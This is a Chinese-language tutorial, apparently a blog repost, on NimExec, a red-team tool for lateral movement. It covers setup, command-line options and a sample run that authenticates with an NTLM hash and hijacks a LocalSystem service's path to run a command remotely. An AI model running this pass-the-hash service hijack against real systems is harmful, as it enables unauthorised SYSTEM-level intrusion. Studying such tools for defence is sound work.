如何使用NimExec通过无文件命令执行实现横向移动

关于NimExec

NimExec是一款功能强大的无文件远程命令执行工具,该工具专为红队研究人员设计,使用Nim语言开发,基于服务控制管理器远程协议(MS-SCMR)实现其功能,可以帮助广大研究人员在目标网络系统中实现横向移动。

如何使用NimExec通过无文件命令执行实现横向移动_第1张图片

工具运行机制

该工具可以修改LocalSystem运行的随机或给定服务的代码路径,以实现在目标设备上执行给定代码。执行完成后,该工具可以通过自定义的RPC数据包来恢复其初始状态。值得一提的是,该工具可以通过SMB2和svcctl命名管道来发送所有的数据包。

NimExec需要使用一个HTLM哈希来实现目标设备上的身份验证,然后通过手工制作的数据包和NTLM身份认证方法来完成身份验证过程。

由于所有需要的网络数据包都是手工制作的,并且不使用特定于操作系统的功能,因此通过使用Nim的交叉兼容性支持,NimExec可以在不同的操作系统中使用。

工具要求

Nim语言环境

测试平台

Windows 10/11

Windows Server 16/19/22

Ubuntu 20.04

工具下载

由于该工具基于Nim语言开发,因此我们首先需要在本地设备上安装并配置好Nim执行环境。

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/frkngksl/NimExec.git

然后我们可以使用下列命令并通过Nimble安装该工具所需的Nim模块:

nimble install ptr_math nimcrypto hostname

代码编译

nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

上述命令将使用不同的Garbage Collector,因为Nim的默认Garbage Collector会在服务搜索进程的过程中报SIGSEGV错误。

命令行参数

-v | --verbose                          启用Verbose模式输出

    -u | --username             NTLM身份认证的用户名

    -h | --hash                NTLM身份认证的NTLM密码哈希

    -p | --password             明文密码

    -t | --target                     横向移动目标

    -c | --command             要执行的命令

    -d | --domain                  NTLM身份认证域名

    -s | --service             目标服务名称

    --help                                  查看工具帮助信息

工具使用样例

test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v

 

                                                                                             _..._     

                                                                                          .-'_..._''.  

   _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '.\

 .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            

.   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              

|  '   '  ||  ||  |  |  |  |  |/     /________\   \ ____     _____/     /________\   \| |              

|  |   |  ||  ||  |  |  |  |  ||                  |`.   \  .'    /|                  || |              

|  |   |  ||  ||  |  |  |  |  |\    .-------------'  `.  `'    .' \    .-------------'. '              

|  |   |  ||  ||  |  |  |  |  | \    '-.____...---.    '.    .'    \    '-.____...---. \ '.          .

|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/

|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  

|  |   |  |                                        .'   /    `.   `.                               `   

'--'   '--'                                       '----'       '----'                                  

 

                                            @R0h1rr1m          

 

 

[+] Connected to 10.200.2.2:445

[+] NTLM Authentication with Hash is succesfull!

[+] Connected to IPC Share of target!

[+] Opened a handle for svcctl pipe!

[+] Bound to the RPC Interface!

[+] RPC Binding is acknowledged!

[+] SCManager handle is obtained!

[+] Number of obtained services: 265

[+] Selected service is LxpSvc

[+] Service: LxpSvc is opened!

[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs

[+] Service config is changed!

[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)

[+] Service start request is sent!

[+] Service config is restored!

[+] Service handle is closed!

[+] Service Manager handle is closed!

[+] SMB is closed!

[+] Tree is disconnected!

[+] Session logoff!

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

NimExec:【GitHub传送门】

参考资料

GitHub - juliourena/SharpNoPSExec: Get file less command execution for lateral movement.

https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SCMR/%5bMS-SCMR%5d.pdf

GitHub - jborean93/pypsexec: Remote Windows execution like PsExec on Python

x86matthew - CreateSvcRpc - A custom RPC client to execute programs as the SYSTEM user

你可能感兴趣的:(github,NimExec)